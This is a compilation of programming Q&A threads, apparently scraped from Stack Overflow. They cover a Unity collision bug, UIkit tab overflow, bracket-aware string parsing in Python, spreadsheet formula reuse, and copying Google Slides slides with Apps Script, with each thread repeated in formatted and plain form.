Here's the correct script, and simplified version

```<code>void OnCollisionEnter2D (Collision2D collider)
{
    if (collider.gameObject.tag == "wall") {
        turn = !turn;
    }
}
</code>```

Body:
Hi i am trying to learn unity and i have came through a code in which i need the object to move up and down when it reaches the limit of any side and keep it repeating. but it's just going up axis only can anyone tell me what's wrong here?

using System.Collections;
using System.Collections.Generic;
using UnityEngine;

public class shooter_movement : MonoBehaviour {

public float shootspeed = 2;
public bool turn = false;

// Use this for initialization
void Start () {

}

// Update is called once per frame
void Update () {
    if (!turn)
    {
        transform.Translate (0, 2 * Time.deltaTime, 0);
    }
    else
    {
        transform.Translate (0, -2 * Time.deltaTime, 0);
    }
}

void OncollisionEnter2D (Collision2D Collider){

    Debug.Log ("Collision Works");
    if (GetComponent<Collider>().gameObject.tag == "wall") {

        if (turn) {

            turn = false;
        }
        else {

            turn = true;
        }
    }
}

}

Body:
First off, you pick the wrong gameObject, you pick your own object instead of the one that touches.

GetComponent<>() will take the gameObject that your script attached to.
use you collider parameter instead, it's the object that touches you.

Here's the correct script, and simplified version

void OnCollisionEnter2D (Collision2D collider)
{
    if (collider.gameObject.tag == "wall") {
        turn = !turn;
    }
}


问:
uikit - how to make long list of tabs go into overflow rather than underneath
So right now, if I have a long list of tabs, rather than overflowing and creating a scrollbar, it just appends the new tabs underneath, stacking them on top of each other. I don't like this design and I was wondering if there was a way to allow/force them to overflow.

for (let i = 0; i < 20; i++)
{
  $("#tabs").append(`

test

  `);
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://cdnjs.cloudflare.com/ajax/libs/uikit/3.0.0-beta.34/js/uikit-icons.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/uikit/3.0.0-beta.34/js/uikit.min.js"></script>
<link href="https://cdnjs.cloudflare.com/ajax/libs/uikit/3.0.0-beta.34/css/uikit.min.css" rel="stylesheet"/>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>

<ul id='tabs' class="uk-tab" data-uk-tab="{connect:'#content'}" style="overflow-x: scroll; ">
</ul></code>```

答:
Give flex-wrap: nowrap and max-width to #tabs, like:

```<code>#tabs {
  flex-wrap: nowrap;
  max-width: 10000px;
}
</code>```

Have a look at the snippet below:

for (let i = 0; i < 20; i++)
{
  $("#tabs").append(`

test

  `);
}```
<pre class="snippet-code-css lang-css prettyprint-override"><code>#tabs {
  flex-wrap: nowrap;
  max-width: 10000px;
}</code>```

<link href="https://cdnjs.cloudflare.com/ajax/libs/uikit/3.0.0-beta.34/css/uikit.min.css" rel="stylesheet"/>

```

Hope this helps!

Body:
So right now, if I have a long list of tabs, rather than overflowing and creating a scrollbar, it just appends the new tabs underneath, stacking them on top of each other. I don't like this design and I was wondering if there was a way to allow/force them to overflow.

for (let i = 0; i < 20; i++)
{
  $("#tabs").append(`

test

  `);
}

<link href="https://cdnjs.cloudflare.com/ajax/libs/uikit/3.0.0-beta.34/css/uikit.min.css" rel="stylesheet"/>

Body:
Give flex-wrap: nowrap and max-width to #tabs, like:

#tabs {
  flex-wrap: nowrap;
  max-width: 10000px;
}

Have a look at the snippet below:

for (let i = 0; i < 20; i++)
{
  $("#tabs").append(`
    <li><a href="">test</a></li>
  `);
}

#tabs {
  flex-wrap: nowrap;
  max-width: 10000px;
}

<script src="https://cdnjs.cloudflare.com/ajax/libs/uikit/3.0.0-beta.34/js/uikit-icons.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/uikit/3.0.0-beta.34/js/uikit.min.js"></script>
<link href="https://cdnjs.cloudflare.com/ajax/libs/uikit/3.0.0-beta.34/css/uikit.min.css" rel="stylesheet"/>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>

<ul id='tabs' class="uk-tab" data-uk-tab="{connect:'#content'}" style="overflow-x: scroll; ">
</ul>

Hope this helps!


问:
How can I loop through a string and print certain items?
```<code>lst = 'AB[CD]EF[GH]'
</code>```

Output: ['A','B','CD','E','F','GH']

This is what I've tried but it's not working...

```<code>while(index < len(my_string)):
 curr_char = my_string[index]
 if(curr_char == '['):
      while(curr_char != ']'):
           multi = my_string[index + 1]
           index += 1
lst += multi
</code>```

Can anybody please help? Without importing Regex or whatever. I wanna do this without using it.

答:
The problems with the original code seemed to be:

1) lst, index and multi are not initialised

2) the loop is infinite because the loop variable (index) isn't incremented on each iteration.

3) the close bracket needs to be skipped when detected to avoid including it in the final list

This code is an example of how to fix those issues:

```<code>def getList(s):
    outList=[]
    lIndex=0
    while lIndex < len(s):
        if s[lIndex] == "[":
            letters=""
            lIndex+=1
            while s[lIndex] != "]":
                letters+=s[lIndex]
                lIndex+=1
            outList.append(letters)
        else:
            outList.append(s[lIndex])
        lIndex+=1
    return outList

print(getList('AB[CD]EF[GH]'))
</code>```

Body:
lst = 'AB[CD]EF[GH]'

Output: ['A','B','CD','E','F','GH']

This is what I've tried but it's not working...

while(index < len(my_string)):
 curr_char = my_string[index]
 if(curr_char == '['):
      while(curr_char != ']'):
           multi = my_string[index + 1]
           index += 1
lst += multi

Can anybody please help? Without importing Regex or whatever. I wanna do this without using it.

Body:
The problems with the original code seemed to be:

1) lst, index and multi are not initialised

2) the loop is infinite because the loop variable (index) isn't incremented on each iteration.

3) the close bracket needs to be skipped when detected to avoid including it in the final list

This code is an example of how to fix those issues:

def getList(s):
    outList=[]
    lIndex=0
    while lIndex < len(s):
        if s[lIndex] == "[":
            letters=""
            lIndex+=1
            while s[lIndex] != "]":
                letters+=s[lIndex]
                lIndex+=1
            outList.append(letters)
        else:
            outList.append(s[lIndex])
        lIndex+=1
    return outList

print(getList('AB[CD]EF[GH]'))


问:
Is there any spreadsheet which use a formula repository instead of writing several copies directly in the cell?
I like speradsheet programs, but there is a disturbing thing with them: the formulas must be entered in the cells. It has several withdraws:

I need to scan thru all the cells to see, what's going in a sheet;

if I change a formula, I must copy it to several cells;

of course, sometimes I forget copy new formulas into all the cells;

it eats up lot of space, the same long formula is repeated several times.

Have you ever seen a spreadsheet software which has a kind of formula repository? Does it exists?

(I'm working now on a spreadsheet software, which is more specialized than desktop spreadsheets, and I'm using one formula per row - that's where the question comes.)

Also, spreadsheets are dataflow systems, and it's strange, that there are no pre-made reusable components, which is the base concept of dataflow systems. In spreadsheets, all components are used once, which is very bad design.

答: Lotus Improv did this.</p>

Body: Lotus Improv did this.


问:
Copying a slide from one Google Slides presentation into another
I searched for a decent answer to this question but I couldn't come up with anything on SO so I thought I would post a new thread.

I am trying to copy a single slide from Google Slides into another using the advanced Slides service with google apps script.

```<code>function myFunction() {
  var originalPresentation = Slides.Presentations.get('1Lqtwb5z8NcU4VVj8OOR11AJyET70tlRRj6QIhxsEZZg');

  var slideToCopy = originalPresentation.slides[3];

  var newSlides = Slides.Presentations.create({
    title: 'New Slidedeck',
    slides: [slideToCopy]
  })
}
</code>```

This creates the slide deck with the title, but the slide isn't copied. The documentation indicates that you can pass an array of slides with the title, but nothing is copying. Does it also need the masters and layouts? What am I doing wrong?
Thanks in advance.

答:
Update at February 16, 2018

At February 13, 2018, the SlidesApp service was updated. Now, copying slides can be achieved by the native methods.

This sample script copies page 1 of srcPresentationId and inserts it as page 1 of the active presentation.

Sample script :

```<code>var srcPresentationId = "### source fileId ###";
var copysrcSlideIndex = 0; // 0 means page 1.

var copydstSlideIndex = 0; // 0 means page 1.

var src = SlidesApp.openById(srcPresentationId).getSlides()[copysrcSlideIndex];
SlidesApp.getActivePresentation().insertSlide(copydstSlideIndex, src);
</code>```

Reference :

insertSlide(insertionIndex, slide)

Original Answer

Do you still look for the method for copying slides? Unfortunately, I confirmed that copying using the Slides API cannot be done yet. But I thought of a workaround.

How about the following workaround? In a recent Google update, I noticed that Class SlidesApp was added. I used this. Since I didn't find the method for copying a slide directly to a new presentation, I used the following flow.

Flow :

Copy the presentation using DriveApp.

Open the copied presentation.

Remove slides except for a slide you want to copy using remove().

Sample script :

```<code>function myFunction() {
  var srcSlides = 3; // A page number of slide that you want to copy. In this case, the top number is 1.

  var srcid = "1Lqtwb5z8NcU4VVj8OOR11AJyET70tlRRj6QIhxsEZZg";
  var dstid = DriveApp.getFileById(srcid).makeCopy().getId();
  var dstSlides = SlidesApp.openById(dstid).getSlides();
  dstSlides.splice(srcSlides - 1, 1);
  for (var i in dstSlides) {
    dstSlides[i].remove();
  }
}
</code>```

References :

Class SlidesApp : https://developers.google.com/apps-script/reference/slides/slides-app

remove() : https://developers.google.com/apps-script/reference/slides/slide#remove

If this was not useful for you, I'm sorry.

Body:
I searched for a decent answer to this question but I couldn't come up with anything on SO so I thought I would post a new thread.

I am trying to copy a single slide from Google Slides into another using the advanced Slides service with google apps script.

function myFunction() {
  var originalPresentation = Slides.Presentations.get('1Lqtwb5z8NcU4VVj8OOR11AJyET70tlRRj6QIhxsEZZg');

  var slideToCopy = originalPresentation.slides[3];

  var newSlides = Slides.Presentations.create({
    title: 'New Slidedeck',
    slides: [slideToCopy]
  })
}

This creates the slide deck with the title, but the slide isn't copied. The documentation indicates that you can pass an array of slides with the title, but nothing is copying. Does it also need the masters and layouts? What am I doing wrong?
Thanks in advance.

Body:
Update at February 16, 2018

At February 13, 2018, the SlidesApp service was updated. Now, copying slides can be achieved by the native methods.

This sample script copies page 1 of srcPresentationId and inserts it as page 1 of the active presentation.

Sample script :

var srcPresentationId = "### source fileId ###";
var copysrcSlideIndex = 0; // 0 means page 1.

var copydstSlideIndex = 0; // 0 means page 1.

var src = SlidesApp.openById(srcPresentationId).getSlides()[copysrcSlideIndex];
SlidesApp.getActivePresentation().insertSlide(copydstSlideIndex, src);

Reference :

insertSlide(insertionIndex, slide)

Original Answer

Do you still look for the method for copying slides? Unfortunately, I confirmed that copying using the Slides API cannot be done yet. But I thought of a workaround.

How about the following workaround? In a recent Google update, I noticed that Class SlidesApp was added. I used this. Since I didn't find the method for copying a slide directly to a new presentation, I used the following flow.

Flow :

Copy the presentation using DriveApp.

Open the copied presentation.

Remove slides except for a slide you want to copy using remove().

Sample script :

function myFunction() {
  var srcSlides = 3; // A page number of slide that you want to copy. In this case, the top number is 1.

  var srcid = "1Lqtwb5z8NcU4VVj8OOR11AJyET70tlRRj6QIhxsEZZg";
  var dstid = DriveApp.getFileById(srcid).makeCopy().getId();
  var dstSlides = SlidesApp.openById(dstid).getSlides();
  dstSlides.splice(srcSlides - 1, 1);
  for (var i in dstSlides) {
    dstSlides[i].remove();
  }
}

References :

Class SlidesApp : https://developers.google.com/apps-script/reference/slides/slides-app

remove() : https://developers.google.com/apps-script/reference/slides/slide#remove

If this was not useful for you, I'm sorry.